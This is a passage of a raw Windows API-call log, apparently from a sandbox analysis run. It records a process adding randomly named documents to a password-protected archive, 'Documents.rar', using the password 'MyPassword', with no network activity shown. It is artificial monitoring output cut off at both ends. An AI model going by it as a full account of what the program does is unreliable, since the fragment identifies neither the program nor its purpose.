pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.095] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.095] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2b0)) [0069.095] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.095] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14443649106) returned 1 [0069.096] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x128ba, lpOverlapped=0x0) returned 1 [0069.097] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b28fa, nNumberOfBytesToRead=0xed746, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b28fa*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.097] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.097] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.097] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.097] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.097] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ad0, Size=0x48) returned 0x39db40 [0069.097] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.097] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.097] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ad0, Size=0x48) returned 0x39daf0 [0069.097] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.097] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.097] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.097] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b00 | out: hHeap=0x2e0000) returned 1 [0069.097] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ad0 | out: hHeap=0x2e0000) returned 1 [0069.097] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65aa0, Size=0x48) returned 0x39db40 [0069.097] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.097] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.097] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.099] GetTickCount () returned 0xa678da [0069.099] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14443946333) returned 1 [0069.099] GetTickCount () returned 0xa678da [0069.099] GetTickCount () returned 0xa678da [0069.099] GetTickCount () returned 0xa678da [0069.099] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.099] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.099] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.099] ResetEvent (hEvent=0x1a4) returned 1 [0069.099] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.101] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.101] ResetEvent (hEvent=0x1a4) returned 1 [0069.101] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.104] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.104] ResetEvent (hEvent=0x1a4) returned 1 [0069.104] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.106] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.106] GetTickCount () returned 0xa678da [0069.106] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14444668081) returned 1 [0069.106] GetTickCount () returned 0xa678da [0069.106] GetTickCount () returned 0xa678da [0069.106] GetTickCount () returned 0xa678da [0069.106] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.106] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.106] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.106] ResetEvent (hEvent=0x190) returned 1 [0069.106] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.108] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.108] ResetEvent (hEvent=0x190) returned 1 [0069.108] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.109] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.109] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.109] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.109] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x42f6aa [0069.109] SetFilePointer (in: hFile=0x198, lDistanceToMove=100, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x42f70e [0069.109] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.109] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.109] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.109] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.109] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x12960, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x12960, lpOverlapped=0x0) returned 1 [0069.111] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.111] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.111] SetFilePointer (in: hFile=0x198, lDistanceToMove=4388522, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x42f6aa [0069.111] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x42f6aa [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.111] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ad0, Size=0x48) returned 0x39daf0 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.111] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ad0, Size=0x48) returned 0x39db40 [0069.111] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.111] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.111] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b00 | out: hHeap=0x2e0000) returned 1 [0069.111] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ad0 | out: hHeap=0x2e0000) returned 1 [0069.111] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65aa0, Size=0x48) returned 0x39daf0 [0069.111] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.111] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x64, lpOverlapped=0x0) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x64) returned 0x3b64de0 [0069.111] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.111] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.111] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x44206e [0069.111] CloseHandle (hObject=0x1b0) returned 1 [0069.111] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.111] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.112] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.112] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.112] FindFirstFileW (in: lpFileName="YR5cgi5pBZBxCXpLKz.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.112] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.112] CreateFileW (lpFileName="YR5cgi5pBZBxCXpLKz.docx" (normalized: "c:\\users\\whuoxysd\\documents\\yr5cgi5pbzbxcxplkz.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.112] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.112] GetTickCount () returned 0xa678e9 [0069.112] GetLastError () returned 0x0 [0069.112] SetLastError (dwErrCode=0x0) [0069.112] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0069.112] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0069.112] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0069.112] SetWindowTextW (hWnd=0x10282, lpString=" 0%") returned 1 [0069.112] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0069.112] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.112] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.112] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.112] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.112] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="xwucnZa1H0T.xlsx") returned 16 [0069.112] SetWindowTextW (hWnd=0x10280, lpString="YR5cgi5pBZBxCXpLKz.docx") returned 1 [0069.113] GetTickCount () returned 0xa678e9 [0069.113] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.113] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.113] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.113] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.113] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2c0)) [0069.113] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.113] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14445350766) returned 1 [0069.113] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x5a58, lpOverlapped=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5a98, nNumberOfBytesToRead=0xfa5a8, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5a98*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.114] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b00, Size=0x48) returned 0x39db40 [0069.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.114] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b00, Size=0x48) returned 0x39daf0 [0069.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.114] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b30 | out: hHeap=0x2e0000) returned 1 [0069.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b00 | out: hHeap=0x2e0000) returned 1 [0069.114] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ad0, Size=0x48) returned 0x39db40 [0069.114] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.114] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.116] GetTickCount () returned 0xa678e9 [0069.116] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14445632024) returned 1 [0069.116] GetTickCount () returned 0xa678e9 [0069.116] GetTickCount () returned 0xa678e9 [0069.116] GetTickCount () returned 0xa678e9 [0069.116] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.116] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.116] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.116] ResetEvent (hEvent=0x1a4) returned 1 [0069.116] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.117] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.117] ResetEvent (hEvent=0x1a4) returned 1 [0069.117] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.118] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.118] GetTickCount () returned 0xa678e9 [0069.118] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14445878619) returned 1 [0069.118] GetTickCount () returned 0xa678e9 [0069.118] GetTickCount () returned 0xa678e9 [0069.118] GetTickCount () returned 0xa678e9 [0069.118] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.118] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.119] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.119] ResetEvent (hEvent=0x190) returned 1 [0069.119] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.119] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.119] ResetEvent (hEvent=0x190) returned 1 [0069.119] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.119] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.119] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.119] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.119] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x44206e [0069.119] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x4420d9 [0069.120] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.120] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.120] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.120] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.120] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5ab0, lpOverlapped=0x0) returned 1 [0069.120] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.120] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.120] SetFilePointer (in: hFile=0x198, lDistanceToMove=4464750, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x44206e [0069.120] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x44206e [0069.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.120] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b00, Size=0x48) returned 0x39daf0 [0069.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.120] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b00, Size=0x48) returned 0x39db40 [0069.120] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.120] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b00 [0069.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b30 [0069.120] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b30 | out: hHeap=0x2e0000) returned 1 [0069.120] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b00 | out: hHeap=0x2e0000) returned 1 [0069.120] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ad0, Size=0x48) returned 0x39daf0 [0069.120] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.121] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0069.121] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.121] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4c690 [0069.121] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.121] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.121] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x447b89 [0069.121] CloseHandle (hObject=0x1b0) returned 1 [0069.121] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.121] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.121] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.121] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.121] FindFirstFileW (in: lpFileName="yudTBCftS3KtXZdN.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.121] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.121] CreateFileW (lpFileName="yudTBCftS3KtXZdN.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\yudtbcfts3ktxzdn.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.121] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.121] GetTickCount () returned 0xa678e9 [0069.121] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.121] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.121] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.121] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.121] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="YR5cgi5pBZBxCXpLKz.docx") returned 23 [0069.121] SetWindowTextW (hWnd=0x10280, lpString="yudTBCftS3KtXZdN.pptx") returned 1 [0069.121] GetTickCount () returned 0xa678e9 [0069.122] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.122] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.122] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: 